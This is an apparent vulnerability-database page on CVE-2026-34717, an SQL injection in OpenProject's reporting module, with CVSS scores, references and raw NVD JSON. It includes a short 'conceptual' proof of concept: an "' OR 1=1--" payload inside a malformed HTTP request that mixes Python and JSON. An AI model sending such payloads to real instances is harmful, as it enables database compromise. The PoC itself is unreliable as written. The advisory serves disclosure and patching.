CVE-2026-34717

Description

OpenProject is an open-source, web-based project management software. Prior to version 17.2.3, the =n operator in modules/reporting/lib/report/operator.rb:177 embeds user input directly into SQL WHERE clauses without parameterization. This issue has been patched in version 17.2.3.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openproject:openproject:*:*:*:*:*:*:*:* - VULNERABLE

OpenProject < 17.2.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Conceptual Proof of Concept (PoC) for CVE-2026-34717
# The vulnerability exists in the '=n' operator within the reporting module.
# An attacker can send a malicious payload via the reporting filter.

# Malicious Payload Example (SQL Injection)
payload = "' OR 1=1--"

# Simulated HTTP Request structure
POST /api/v3/reports HTTP/1.1
Host: target-openproject-instance.com
Authorization: Bearer <low_privilege_token>
Content-Type: application/json

{
  "report": {
    "_type": "Reporting::Report",
    "name": "Exploit Report",
    "filters": [
      {
        "field": "id",
        "operator": "=n",  # Vulnerable operator triggering concatenation
        "values": [payload]
      }
    ]
  }
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34717
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34717
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34717/
[4] VulDB https://vuldb.com/cve/CVE-2026-34717
[5] https://github.com/opf/openproject/releases/tag/v17.2.3
[6] https://github.com/opf/openproject/security/advisories/GHSA-5rrm-6qmq-2364

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34717", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:33.083", "lastModified": "2026-04-21T01:03:32.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenProject is an open-source, web-based project management software. Prior to version 17.2.3, the =n operator in modules/reporting/lib/report/operator.rb:177 embeds user input directly into SQL WHERE clauses without parameterization. This issue has been patched in version 17.2.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openproject:openproject:*:*:*:*:*:*:*:*", "versionEndExcluding": "17.2.3", "matchCriteriaId": "CE9B1690-0345-439D-A23F-2C4C7CDCA3AF"}]}]}], "references": [{"url": "https://github.com/opf/openproject/releases/tag/v17.2.3", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/opf/openproject/security/advisories/GHSA-5rrm-6qmq-2364", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}